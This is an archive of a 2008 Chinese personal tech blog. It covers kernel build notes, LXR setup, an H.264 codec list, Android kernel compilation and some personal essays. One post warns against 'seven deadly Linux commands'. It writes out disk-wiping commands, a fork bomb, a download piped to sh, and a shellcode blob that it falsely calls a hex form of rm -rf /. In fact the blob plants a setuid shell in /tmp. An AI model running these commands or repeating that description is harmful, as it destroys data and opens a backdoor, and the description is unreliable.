将所有"@@LXRROOT@@"替换成"/home/user/lxrng"
将"@@LXRURL@@"替换成"lxr"

13) 重新启动Apache2
$ sudo /etc/init.d/apache2 reload

14) 使用浏览器打开http://localhost/lxr即可进行代码检索。

如果要更换domain name,可将现有的"localhost"改为"somewhere.com",只需要将"lxrng.conf"中的"base_url"替换之后再执行./lxr-genxref linux即可,这次的执行时间十分短,因为XR都已经存在,现在即可使用浏览器打开新的网址"http://somewhere.com/lxr"检索代码。至此,配置完毕,希望对大家有用。

Thursday, December 4, 2008

compiler error:KBUILD_NOPEDANTIC & Fix it to use EXTRA_CFLAGS

For the "Linux device driver III", the example of all

Delete the //include/config.h
Add the //include/sched.h

Ok, now change into its derectory and complile it like this:

root@microtiger-tiger:/home/microtiger/test/examples/scull# make
make -C /lib/modules/2.6.24-22-generic/build M=/home/microtiger/test/examples/scull LDDINC=/home/microtiger/test/examples/scull/../include modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-22-generic'
scripts/Makefile.build:46: *** CFLAGS was changed in "/home/microtiger/test/examples/scull/Makefile". Fix it to use EXTRA_CFLAGS. Stop.
make[1]: *** [_module_/home/microtiger/test/examples/scull] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-22-generic'
make: *** [modules] Error 2

There are two kind of method to solve this problem:

(1)Rplace all CFLAGS with EXTRA_CFLAGS in the Makefile.

(2)Using the KBUILD_NOPEDANTIC arg.

root@microtiger-tiger:/home/microtiger/test/examples/scull# make KBUILD_NOPEDANTIC=1
make -C /lib/modules/2.6.24-22-generic/build M=/home/microtiger/test/examples/scull LDDINC=/home/microtiger/test/examples/scull/../include modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.24-22-generic'
CC [M] /home/microtiger/test/examples/scull/access.o
LD [M] /home/microtiger/test/examples/scull/scull.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/microtiger/test/examples/scull/scull.mod.o
LD [M] /home/microtiger/test/examples/scull/scull.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.24-22-generic'

Tuesday, December 2, 2008

戒烟

昨天我终于开始戒烟了,一天没有抽烟了,身体感觉怪怪的,嘴巴发苦,涩涩的感觉。
抽烟屈指算来将近有六七年的时间了,从高中开始抽烟,抽到大学毕业,再到参加工作,一路抽下来了,倒是老爸多次警告要我戒烟,都当耳旁风了,我哪听的进去,不过,这次是真的打算戒烟。
戒烟真不是容易的事,尤其是这年头,哎,引起抽烟的事情太多,避都没法避开,我把引起抽烟的情况按严重度顺序排名如下:

1、喝酒,这几乎是我以及大部分抽烟的人最无法抗拒的环境了,兄弟朋友们喝的畅快,烟酒不分家,吞云吐雾,天南地北瞎侃一通,那个叫爽啊;酒吧里,醉眼朦胧,手里点根烟,你看姑娘们,姑娘们也看你,瓦咔咔,咋能抗的过去呀!不抽烟就觉得手都没地方放!喝酒,绝对排名第一!

2、有特别不顺心的事情,比如工作,生活上等,总觉得需要抽一根烟来排解一下烦躁的情绪,这个随着年龄的增加,好像烦心事越来越多,想抽烟的情况屡屡发生,一个人的时候尤其如此,一个不留神,抽一口吧,心烦找排解,列为第二;

3、同学,同事,好朋友等等发烟盛情难却,有时候自己并不想抽,但一句“来来来,兄弟,点一根吧!”,“戒啥烟啊,就抽这一根”,“咋啦,不给兄弟面子啊”.......完蛋了!自己抽烟,于是物以类聚,这些年身边TMD都是抽烟喝酒的弟兄,号称研究生(烟酒生)们,敬烟难拒,排名第三不为过啊!

4、老子今儿高兴,生意做成,股票大涨,打游戏,看片儿,聊Q,写程序.....我靠!不抽烟就感觉实在对不起这样的美好时光啊!不用多说,心情高兴,排名第四!

5、大家有没有特别无聊的时候啊,我有啊,节假日单位值班,等人,一个走路,一个人出差,一个人住宾馆,一个人.......无聊之中,只有烟兄弟形影不离,说实话,那时觉得烟真是这世界上最贴心的朋友啊!排名第五!

由此,戒烟真不容易啊!

Makefile & Kconfig in kernel 2.6.xx

kernel源码树的目录下都有两个文件:Kconfig和Makefile。分布到各目录的Kconfig构成了一个分布式的内核配置数据库,每个Kconfig分别描述了所属目录源文档相关的内核配置菜单。在内核配置make gconfig(或xconfig等)时,从Kconfig中读出菜单,用户选择后保到.config的内核配置文档中。 在编译内核时,主Makefile调用这个.config文件就确定用户的选择。

以上说明Kconfig即对应内核的配置菜单。假如要添加新的驱动代码到内核的源码,修改Kconfig,这样就能够选择这个驱动;要使这个驱动被编译,就要修改Makefile。

因此添加新的驱动代码时必须要修改的文档有两种Kconfig和Makefile。
要想知道怎么修改这两种文档,就要知道两种文档的语法结构。

Kconfig 语法

linux2.6.x/Documentation/kbuild/kconfig-language.txt
每个菜单都有一个关键字标识,最常见的就是config。

语法:
config
symbol是个新的标记的菜单项,options是在这个新的菜单项下的属性和选项
其中options部分有:

1、类型定义:
每个config菜单项都要有类型定义,bool布尔类型、 tristate三态:内建、模块、移除 string字符串、 hex十六进制、 integer整型
例如config HELLO_MODULE
bool "hello test module"
bool类型的只能选中或不选中,tristate类型的菜单项多了编译成内核模块的选项,假如选择编译成内核模块,则会在.config中生成一个 CONFIG_HELLO_MODULE=m的配置,假如选择内建,就是直接编译成内核影响,就会在.config中生成一个 CONFIG_HELLO_MODULE=y的配置.

2、依赖型定义depends on或requires
指此菜单的出现和否依赖于另一个定义
config HELLO_MODULE
bool "hello test module"
depends on ARCH_PXA
这个例子表明HELLO_MODULE这个菜单项只对XScale处理器有效。

3、帮助性定义
只是增加帮助用关键字help或---help---

内核Makefile

在linux2.6.x/Documentation/kbuild/makefiles.txt目录下有周详的介绍有关kernel makefile的知识。内核的Makefile分为5个组成部分:
Makefile 顶层的Makefile
.config 内核的当前配置文档,编译时成为顶层Makefile的一部分
arch/$(ARCH)/Makefile 和体系结构相关的Makefile
s/ Makefile.* 一些Makefile的通用规则
kbuild Makefile 各级目录下的大概约500个文档,编译时根据上层Makefile传下来的宏定义和其他编译规则,将源代码编译成模块或编入内核。
顶层的Makefile文档读取 .config文档的内容,并总体上负责build内核和模块。Arch Makefile则提供补充体系结构相关的信息。 s目录下的Makefile文档包含了任何用来根据kbuild Makefile 构建内核所需的定义和规则。(其中.config的内容是在make gconfig的时候,通过Kconfig文档配置的结果)。

举个例子:
假设想把自己写的一个flash的驱动程式加载到工程中,而且能够通过menuconfig配置内核时选择该驱动该怎么办呢?能够分三步:
第一:将您写的flashtest.c 文档添加到/driver/mtd/maps/ 目录下。
第二:修改/driver/mtd/maps目录下的kconfig文档:
config MTD_flashtest
tristate “ap71 flash"
这样当make menuconfig时 ,将会出现 ap71 flash选项。
第三:修改该目录下makefile文档。
添加如下内容:obj-$(CONFIG_MTD_flashtest) += flashtest.o
这样,当您运行make menucofnig时,您将发现ap71 flash选项,假如您选择了此项。该选择就会保存在.config文档中。当您编译内核时,将会读取.config文档,当发现ap71 flash 选项为yes 时,系统在调用/driver/mtd/maps/下的makefile 时,将会把 flashtest.o 加入到内核中。

Monday, December 1, 2008

原始kernel对TI davinci平台的支持

kernel.org上的原始内核自linux-2.6.22开始支持TI davinci平台,改变的文件有如下:
27 files changed:

arch/arm/Kconfig diff | blob | history
arch/arm/Makefile diff | blob | history
arch/arm/mach-davinci/Kconfig [new file with mode: 0644] blob |
arch/arm/mach-davinci/Makefile [new file with mode: 0644] blob |
arch/arm/mach-davinci/Makefile.boot [new file with mode: 0644] blob |
arch/arm/mach-davinci/board-evm.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/id.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/io.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/irq.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/psc.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/serial.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/time.c [new file with mode: 0644] blob |
arch/arm/mm/Kconfig diff | blob | history
include/asm-arm/arch-davinci/common.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/debug-macro.S [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/dma.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/entry-macro.S [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/hardware.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/io.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/irqs.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/memory.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/psc.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/serial.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/system.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/timex.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/uncompress.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/vmalloc.h [new file with mode: 0644] blob |

在随后发布的2.6.23内核代码,增加了对davinci: GPIO support (commit), clock control support (commit), pin mux support (commit)的支持, 代码分别位于:

GPIO support
[ARM] 4457/2: davinci: GPIO support
Support GPIO driver for TI DaVinci SoC

arch/arm/Kconfig diff | blob | history
arch/arm/mach-davinci/Makefile diff | blob | history
arch/arm/mach-davinci/gpio.c [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/gpio.h [new file with mode: 0644] blob |
include/asm-arm/arch-davinci/hardware.h diff | blob | history
-------------------------------------------------------------------------------------------
clock control support
[ARM] 4430/1: davinci: clock control support
Support clock control driver for TI DaVinci SoC

arch/arm/mach-davinci/Makefile diff | blob | history
arch/arm/mach-davinci/board-evm.c diff | blob | history
arch/arm/mach-davinci/clock.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/clock.h [new file with mode: 0644] blob |
arch/arm/mach-davinci/io.c diff | blob | history
include/asm-arm/arch-davinci/clock.h [new file with mode: 0644] blob |
-------------------------------------------------------------------------------------------
pin mux support
[ARM] 4432/5: davinci: pin mux support
Support pin multiplexing configurations driver for TI DaVinci SoC

arch/arm/mach-davinci/Makefile diff | blob | history
arch/arm/mach-davinci/mux.c [new file with mode: 0644] blob |
arch/arm/mach-davinci/psc.c diff | blob | history
include/asm-arm/arch-davinci/mux.h [new file with mode: 0644] blob |

针对这些文件进行分析,可以理清原始内核逐步对TI Davinci 平台支持的框架,对编写驱动有一定的帮助。

与kernel同步,了解内核的变化

從事 Embedded Linux(GNU/Linux systems on devices)工作的朋友,除了日常的讀書功課外,另外一個重要的工作就是「隨時注意 Linux kernel 的發展狀況」。要能與 Linux kernel 的發展同步,嚴格來說,已經是一件吃重的工作了,不過還是可以列出幾個基本的工作原則如下:

1. 每天閱讀 linux-kernel 郵遞論壇(mailing-list)的「標題」。

2. 隨時上 kernel.org 看看最新釋出的 kernel 版本(或留意 linux-kernel-announce mailing-list)。

3. 閱讀釋出版本的 Changelog。

4. 不要與 git 系統的距離太遠,定時看看 git 系統,保持一定的「短距離」。

Mailing List

linux-kernel 上的 posts 每天的量大約在 200~350 篇左右,數量並不算少,要把每一篇都看過是不太可能的,因此以我自己的閱讀心態來說,我會建議以下的閱讀方式:

1. 看標題,如果是自己有興趣或正在留意的更新,我就會標記下來持續追蹤。

2. 如果有 Bugfix 的 patch 出現,我會看看這項修正的起因與原理,但為了不讓自己花費太多時間,如果我對這項 patch 的修正「原理」不甚熟悉,我便會跳過此 post。

以下是閱讀 linux-kernel list 必須知道的幾件事:

1. 如果有新的修正,第一時間都會發佈在此 list 上,並且標題的起頭一定是 "[PATCH n/m] subject" 這樣的格式。PATCH 表示這是一個 patch 的發佈,由於一個 patch 會以多篇 post 發佈,因此就用「n/m」來表示「這是第幾篇 patch,總共有幾篇。」,例如:

[PATCH 0/7] KVM: Kernel-based Virtual Machine
[PATCH 1/7] KVM: userspace interface
[PATCH 2/7] KVM: Intel virtual mode extensions definitions
[PATCH 3/7] KVM: kvm data structures
[PATCH 5/7] KVM: mmu virtualization
[PATCH 6/7] KVM: x86 emulator
[PATCH 7/7] KVM: plumbing

2. 不能在這裡詢問與 kernel 發展無關的問題,例如:工具的使用、系統設定、詢問是否有XXX驅動程式、請求協助測試等等,這些都是不能張貼的文章。另外,原本就該留意的非成文禮節一定要注意,像是 FAQ 能找到的東西,就不要去麻煩人家。

3. list 裡大部份都是 device driver 的討論,並且很多都是架構面或觀念面的討論與修正建議,所以當您參與討論時,千萬不要用「個人的主觀看法,或是沒有事實與理論根據」的角度發表意見;由於「觀念」的修正是 kernel 2.6 驅動程式的大討論方向,所以必須先把主題相關的東西先看懂看熟後再參與討論。

我要怎麼知道 kernel 更新了什麼東西?

這是一個時常被問到的問題,由於 kernel 的變動快速,因此 Jollen 在日前便寫了一篇「讓 kernel 常在我心:探討如何與 kernel 的發展同步」的日記,內容是大略介紹如何與 kernel 的發展同步(day-by-day)。

但是,如果並不是很需要每天去注意 kernel 的動態的話,只要在每個 kernel 穩定版(stable)釋出後去看 Changlog 就好了。特別是 kernel 2.6.1x 的更新項目(update)、臭蟲修正(big fix)、新的驅動程式與 filesystem 更是以可怕的「量」在 patch,特別是最近半年的 3 個 kernel 版本(2.6.17~19),變化量真是到了油門全開的狀態,所以每天看 kernel 會是沈重的負擔。

話說回來,改變是好事。期待的是,看著這麼多的改變與越來越多的新驅動程式加入,以及企業級(enterprise-class)功能的成熟,我們已經可以拿到越來越棒的「成熟」kernel 了。誠如 Linus 在 2.6.19 stable 釋出時的玩笑話「It's one of those rare 'perfect' kernels」。

言歸正傳,如果要 keep 新 kernel 做了什麼改變,或是了解「什麼功能在幾版的 kernel 才開始有」、「某些 bug 在幾版做修正」、「這個版本是否對理器架構面做修正」等,建議可以直接由 kernelnewbies.org 做查詢,例如,我想知道 kernel 2.6.17 改了什麼東西,就可以輸入以下的 URL:

http://kernelnewbies.org/Linux_2_6_17

同理,我想知道幾天前才丟出來的 kernel 2.6.19 加了什麼、改了什麼,就輸入以下的 URL:

http://kernelnewbies.org/Linux_2_6_19

就如前面提到的,kernel 2.6.1x 的修改變化相當大,特別是在 kernel 2.6.16(大約)後,每每都有重大更新,修正範圍也「波及」到「Kernel Core」。如果工作場合與 kernel 有關係,確實有必要仔細閱讀每一個版本的 Changelog。
files come from Jollen's Blog at http://www.jollen.org/blog/2006/11/reading_kernel_kernel_patch.html

Sunday, November 30, 2008

MPEG-4 AVC/H.264编码器荟萃

LIST of MPEG-4 AVC/H.264 VIDEO CODECS(Last updated 1 December 2005 - 62 items now!)
--------------------------------SOFTWARE CODECS:---------------------


Ateme H.264/MPEG-4 AVC Codec (Ateme)No download on original site:http://www.ateme.com/products/h264.phpSee 30 day trial of Nero Digital (with Nero Recode) available from: http://www.nerodigital.com/eng/index.html

VSS H.264 Video Codec (Vanguard Software Solutions, Inc.)Trial available, VfW.http://www.vsofts.com/h264/codecs.html

Elecard OneClick Compressor & Elecard AVC/H.264 Decoder Package (Elecard)21-day free trial. Have H.264 SDKhttp://www.elecard.com/products/oneclick.shtml

Mainconcept H.264 (MainConcept AG)Trial available on download pagehttp://www.mainconcept.com/h264_encoder.shtmlUse Elecard Encoder H.264 from March 2005.

Moonlight H.264 Video Codec (Moonlight Cordless LTD.)21-day evaluation, DirectX filter.http://www.moonlight.co.il/products/...r/oneclickavc/This codec was developed with Elecard team.

SONY Video Editor Vegas 6c with AVC support (Sony Corp.) NEW!!!30-days evaluation.http://www.sonymediasoftware.com/pro...ct.asp?PID=965

QuickTime 7 H.264 (Apple Computer, Inc.)Integrated. Who test it? Any remarks welcome!http://www.apple.com/quicktime/technologies/h264/

FastVDO H.264 (FastVDO LLC)Demo has decode time limit of 5 min.http://www.fastvdo.com/H.264.html

LEAD H.264 Video codec (LEAD Technologies)Only demo, but you can buy codec online (100$). Who test it?http://www.leadcodecs.com/Codecs/LEAD-H264.htm

Compression Master 3 (Popwire/Teleca AB) H264 encoder is all a part of Popwire's Compression Master. Demo soft available (encoding is limited to 20 seconds). http://www.popwire.com/product_info....&products_id=2

SVM H.264 Decoder Kit & MKi DVD Converter (Pegasus Information Technology Inc.)H.264 encoder and decoder with non standart format.http://www.h-264.com/downloads.htm

AVC Alliance free demo player (AVC Alliance, written by Philips Electronics)Poor but free.http://www.avc-alliance.nl/main/downloads.htm

Intel IPP H.264 codec (Intel Corporation) Intel IPP Library containe now H.264 encoder and decoder. Higher quality codecs are promised in 5.0 version (released now)http://www.intel.com/cd/software/pro.../ipp/index.htm

PowerEncoder MPEG-4 AVC (CyberLink Corp.) NEW!!!Available in online shop.http://www.cyberlink.com/multi/produ...in_43_ENU.html

ATI H.264 (ATI Technologies Inc.)No download. Software only and +HW support. Very fast codec by our tests.http://www.ati.com/technology/h264.html

Mpegable AVC Codec (dicas digital image coding GmbH)No download, VfWhttp://www.mpegable.com/show/mpegableavc.htmlOld version from free-codecs:http://www.codec-download.com/module...=getit&lid=436

Expert H.264 (PixelTools Corporation)Download on requesthttp://www.pixeltools.com/experth264.html

Softstream H.264/MPEG-4 (Media Excel)Audio & Video encoders ane decoders. Evaluation copy on requesthttp://www.mediaexcel.com/products.htm

MPEG-2/HDV/H.264 software (KDDI R&D Labs. Inc.)No download. MPEG related products also with H.264 supporthttp://avs.kddilabs.jp/mpeg/indexe.html

Fraunhofer IIS H.264 Codec (Fraunhofer IIS)No download.http://www.iis.fraunhofer.de/amm/download/mpeg4/

UBLive-264-C64 (UB Video Incorporated)Demo available on request.http://www.ubvideo.com/mainmenu.html

Sorenson Squeeze 4 Compression Suite (Sorenson)No download. Converter.http://www.sorensonmedia.com/solutio...d/mpg4_win.php

Sonic’s HD-Series AVC encoder (Sonic Solutions)No download. Only press release now.http://www.sonic.com/about/press/new.../hdseries.aspx

Enchansed sklmp4 (Pascal Massimino)No download. Announce of 264 development.http://skal.planet-d.net/coding/mpeg4codec.html

NEX VISION H.264 (NEX VISION)No download.http://www.nexvision.fr/

Hughes Network Systems H.264 (Hughes Network Systems, LLC) No download. Own Win&Linux codec for internal usagehttp://www.hns.com/HNS/Doc/0/MGD6UC9...3-04_IPoS.html

Imagicity H.264/AVC codec (Imagicity, UK) NEW!!!No download. Speed optimization claimed.http://www.imagicity.com/products/products.htm


-----------------------OPEN SOURCE:---------------------
x264 (free, supported by VideoLAN)OPEN SOURCE. Good publically available high profile encoder. Developers declare "early development stage", but encode results are one of the best.http://www.videolan.org/x264.html
http://x264.nl/

JM 9.6 reference H.264 encodec (free, supported by Joint Video Team ISO+ITU-T)OPEN SOURCE. Can be used only for stream testing.http://bs.hhi.de/~suehring/tml/

libavcodec H.264 Decoder (Project FFMPEG)OPEN SOURCE. Permanently updated decoder.http://ffmpeg.sourceforge.net/index.php

Hdot264 Pre-Alpha (Project Hdot264)OPEN SOURCE.http://sourceforge.net/projects/hdot264/

t264 (Project t264)OPEN SOURCE.http://sourceforge.net/projects/t264

Minimal H.264 decoder (by Martin Fiedler)OPEN SOURCE. Basic decoder.http://www-user.tu-chemnitz.de/~mfie/stuff/SA/



---See also Software Developments Kits for software codec usage:---

Elecard AVC&MPEG2 Encoder SDK (Elecard)MPEG2 and H.264 Video Encoder and Decoders other components within the DirectShow® technology.http://www.elecard.com/products/encoder_sdk.shtml

MainConcept H.264 SDK (MainConcept AG)Windows, Apple, Linux and TI DSP supported.http://developer.mainconcept.com/h264-sdk.html

LEADTOOLS Multimedia Developer SDKs (LEAD Technologies, Inc)Support for many-many formats, including H.264 http://www.leadtools.com/SDK/Multime...Products-n.htm

MPEG SDK "MP-Factory" (KDDI R&D Labs. Inc.)SDK with H.264, HDV, MPEG-1,-2, and -4 supporthttp://avs.kddilabs.jp/mpeg/mpfs32/indexe.html

VSS H.264 SDK (Vanguard Software Solutions, Inc.)Based on there codec. Windows and Linux support.http://www.vsofts.com/h264/sdk.html

Pegasus H.264 SDK Development Kits (Pegasus)Looks like simple codec, but prefilters declared.http://www.h-264.com/Products.htm


-------------------------HARDWARE IMPLEMENTED:---------------------
Sony PlayStation Portable (Sony Computer Entertainment Inc.)Product: Support H.264/MPEG-4 AVC Main Profile Level3 decoding.http://www.us.playstation.com/consoles.aspx?id=4
See also Image Converter 2 Plus:http://www.jp.sonystyle.com/Nws/Soft...710489100.html

VSX 300 Videoconferencing Terminal with H.264 support (Polycom Inc)Product: Biggest HW videoconferencing company, prepare many solutions with 264 supporthttp://www.polycom.com/products_serv...5-6197,00.html

Tandberg EN5930 (Tandberg Television)Product for videoconferencing. Who test it? I have bad review.http://www.tandbergtv.com/productview.asp?n=65

Tandberg Telecom - video communication (Tandberg Telecom)Product for videoconferencing, supports H.264 baseline profile.http://www.tandberg.net/collateral/w...apers/H264.pdf

4Caster MPEG-4 / H.264 Encoder (Envivio, Inc.)Product: Hardware box encoderhttp://www.envivio.com/products/4caster.htmlhttp://www.envivio.com/products/4caster_se.html (software, no download)

Tut Systems MPEG-4 AVC (Tut Systems, Inc.)Product: Hardware transcoder box.http://www.tutsys.com/pdflibrary/pdf...AVC_2_9_05.pdf

Hardware MGW 5100 (Optibase, Inc.)Product: Hardware box encoderhttp://www.optibase.com/Content.aspx?id=38

Harmonic DiviCom® MV 100 Encoder (Harmonic Inc. )Product: Hardware box encoder http://www.harmonicinc.com/view_csd_...m?classID=1010

SkyStream Mediaplex & iPlex (SkyStream Networks , inc.) Product: Hardware box encoder. Platforms contain the AVC Encoder Submodule, press release only http://www.skystream.com/press/2005/041805-mpeg4.asp

E42 - H264 DVB over IP Broadcast Encoder (StreamTel Corporation) Product: Hardware box encoder. Broadcast-Grade real time H264 DVB IP streaming encoder http://www.streamtel.com/streamtel/p...st_Encoder.htm

Darim MV401EXP-H264 Encoder and MV410EXP Decoder (Darim Vision Co., Ltd.)Product: Hardware box Encoding/Streaming systems http://www.darimmedia.com/products/mv401exp-h264.php

Mayah I [io] 8000 series (MAYAH Communications)Product: Hardware box. Plan AVC availability in Q3 '05. http://www.mayah.com/products/io-8000a.htm

Thales ARGOS MPEG-4 Encoder (Thales Broadcast & Multimedia, Inc.)Product: Hardware box. Plan AVC from July 05. http://www-db.thomcastcom.ext.coltfr..._ID=1&P_ID=221

ViBE MPEG-4 AVC (Thomson)Chip: modular hardware series of encodershttp://www.thomsongrassvalley.com/pr...encoder_mpeg4/

Broadcom chips (Broadcom Corp. former Sandvideo)Chip with H.264 HD / decoding onlyhttp://www.broadcom.com/products/Cab...-Chips/BCM7411

Sentivision H.264/AVC Decoder (Sentivision, Japan) Chip with H.264 HD / decoding only / only for TI DSP'shttp://www.sentivision.com/products/h264/h264-en.html

SA AVC Encoder (Scientific Atlanta)Product: Transmission system (for satellite TV)http://www.saeurope.com/products/customerhome.htm

H.264 VLE4000 (LSI Logic Corp. former: VideoLocus)Chips with 264 supporthttp://www.lsilogic.com/products/vid...g/vle4000.html

Modulus Video SDTV, HDTV Encoder (Modulus Video, Inc.)Chips. Declarations only now. License H.264 from LSI Logic.http://modulusvideo.com/main.php?Page=12

BSP 15 (System-on-chip) (Equator Technologies, Inc.)Chips. No exact codec info.http://www.equator.com/solutions/digitalmedia.html

BT Exact H.264 Suite (BT Exact)temporarily not availablehttp://www.btexact.com/technologies/...iles?doc=42895

Surveillance Real Time H.264 Encoders (DSP Research, Inc.)Several chips implementation.http://www.dspr.com/www/products/overview_video.htmhttp://www.dspr.com/www/support/down...o_download.htm

VP3-PMC / Hardware TwinPEG Pro (Vitec Multimedia)Chips. TMS320DM642TMDSP & etchttp://www.vitecmm.com/product.php?id=41

WWComs H.264 Codecs (W&W Communications Inc.)Several chips implementation (TI DM64x, C64xx, Freescale DSPs).http://www.wwcoms.com/products/h264_codec.htmhttp://www.wwcoms.com/products/codec/bc264.htm

CX2418x H.264 Video Decoder IC (Conexant Systems, Inc.)HW Decoder with Main & High Profile (on CX24182)http://www.conexant.com/products/entry.jsp?id=920

Sigma Designs HD decoder (Sigma Designs, Inc.)HW HD Decoder based on SMP8630 familyhttp://www.sigmadesigns.com/products/SMP8630series.htm

Cradle Technologies H.264 (Cradle Technologies, Inc.) HW Main profile Encoder based on CT3600 MDSP familyhttp://www.cradle.com/products/asw_ct3600_h264.shtml

STMicroelectronics H.264 (STMicroelectronics)HW HD High Profile decoderhttp://www.st.com/stonline/products/...e/bd/11102.htm

PacketVideo H.264 (PacketVideo Corp.) HW Base Profile encoder/decoder on ARM/OMAP/DM642http://www.packetvideo.com/solutions/

Tuesday, November 25, 2008

房子的秘密

猪头 =【我们这些可怜的工薪族】
老鼠 =【银行】
王八 =【房地产公司】
狐狸 =【TMD我也不知道怎么定位这个混蛋】
狼 =【吃人的政府】
驴 =【炒房团】

猪通过勤劳致富有5元钱存在老鼠开的钱庄里。
猪打算拿这5元钱建一个小窝,
大盖要花2元卖地,
花3元搭窝。
王八是搞工程的,
他想在猪身上挣更多的钱,
于是找来当投资顾问的狐狸想办法,
狐狸说:这好办。
于是找来管地盘的狼,
开钱庄的老鼠一起来商议,
结果王八从老鼠那里借来200元,
用100元卖了狼的地,
花了3元把猪窝盖好,
花了50元给了狐狸咨询服务费,
猪没有地,
只好求王八把窝卖给它,
王八要价500元,
老猪说只有5元买不起,
这时候狐狸说服猪去向老鼠借钱,
老鼠答应借500给猪,
前提是要他连本带利还600元,
可以分10年还清,
并且产权证拿来抵押。
结果成交。
猪到最后花了600元买来了猪窝,
比他原来的计划高了11倍,
猪努力了十年去挣钱还贷 。
在这场交易里面,
狼,老鼠,狐狸还有王八都挣了钱。
以后他们就如法炮制。
更多的猪去贷款买房子了,
这时候,
当商人的驴看到有机可乘,
到老鼠那里贷了好多好多的款,
把王八盖的房子都买下来,
然后以更高的价格卖给了猪。
猪的还贷期就越来越长,
吃的越来越差,
小猪崽子也不敢生了。
由于猪的数目越来越少,
狼觉得这样下去自己没有猪肉吃了,
非饿死不可,
于是开始调控,
不让老鼠再借钱了。
但是王八还没有停止盖房,
把自己挣的钱和贷的钱全投入生产了。
驴手上的猪窝囤积的很多,
卖不动了被套牢了。
结果,
老鼠,王八,还有驴都挣了好多的猪窝。
钱到最后集中到狼手上。
如今,
谁都等着狼把钱拿出来救命。
聪明的你,如果你是狼,你会拿钱救哪个?

Sunday, November 23, 2008

7个致命的Linux命令

以下是7个致命的Linux命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
  1. rm -rf /

    此命令将递归并强制删除/目录下的所有文件。

  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    这是rm -rf / 的hex(十六进制)版本,很能迷惑Linux用户。

  3. mkfs.ext3 /dev/sda

    这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

  4. :(){ :|:& };:

    著名的fork炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

  5. any_command > /dev/sda

    使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

  6. wget http://some_untrusted_source -O- | sh

    不要从不信任的地方下载东西,这可能会获取恶意代码。

  7. mv /home/yourhomedirectory/* /dev/null

    此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

Friday, November 14, 2008

Android 开发参考资源

編譯Android內核

1. 獲得 toolchains 從 http://www.codesourcery.com/gnu_toolchains/arm/portal/subscription?@template=lite (選擇 ARM EABI 和 IA32 GNU/Linux).

2. 獲得內核源代碼從 http://code.google.com/p/android/downloads/list

3.部署 toolcains 和 內核源碼進入內核源碼樹。

$ mkdir -p android
$ cd android
$ tar xjvf ../arm-2007q3-51-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
$ tar xzvf ../linux-2.6.23-android-m3-rc20.tar.gz
$ cd kernel

4. 獲得 config.gz 來自正在運行的emulator 通過下面你的方法。

$ adb pull /proc/config.gz .

5. 解壓縮 config.gz 并重命名為 .config

$ gunzip config.gz
$ mv config .config

6. 指定 CROSS_COMPILE (譯注:交叉編譯器)在 Makefile 中。

CROSS_COMPILE=../arm-2007q3/bin/arm-none-linux-gnueabi-

7. 评论指出 LDFLAGS_BUILD_ID 在相同的 Makefile。
The LDFLAGS_BUILD_ID enables --build-id 選擇 ld 如果可以得到。
The --build-id 選擇相對較新的。
目前的模擬器似乎不支持內核鏈表這個選項。

http://fedoraproject.org/wiki/Releases/FeatureBuildId 如果你有興趣這些詳細的選項。

#LDFLAGS_BUILD_ID = $(patsubst -Wl$(comma)%,%,\
$(call ld-option, -Wl$(comma)--build-id,))

8. Make the kernel(制作內核)

$ make

9. 檢查 zImage 是被創建的和大小相近的kernel-qemu 在 Andorid SDK 中。

$ ls -l arch/arm/boot/zImage
-rwxrwxr-x 1 motz motz 1234712 2007-12-01 18:06 arch/arm/boot/zImage
$ ls -l $SDK/tools/lib/images/kernel-qemu
-rwxrwxr-x 1 motz motz 1245836 2007-11-12 5:59 ...sdk/tools/lib/images/kernel-qemu

10. 運行 emulator 被創建的內核

$ emulator -kernel arch/arm/boot/zImage

Wednesday, November 12, 2008

Vimperator---把Firefox变成Vim

喜欢Firefox的一个很重要的原因就是Firefox拥有无数非常好玩的插件,今天偶然又发现了一个好玩的插件,就是Vimperator。它可以把整个Firefox变成Vim的操作方式。
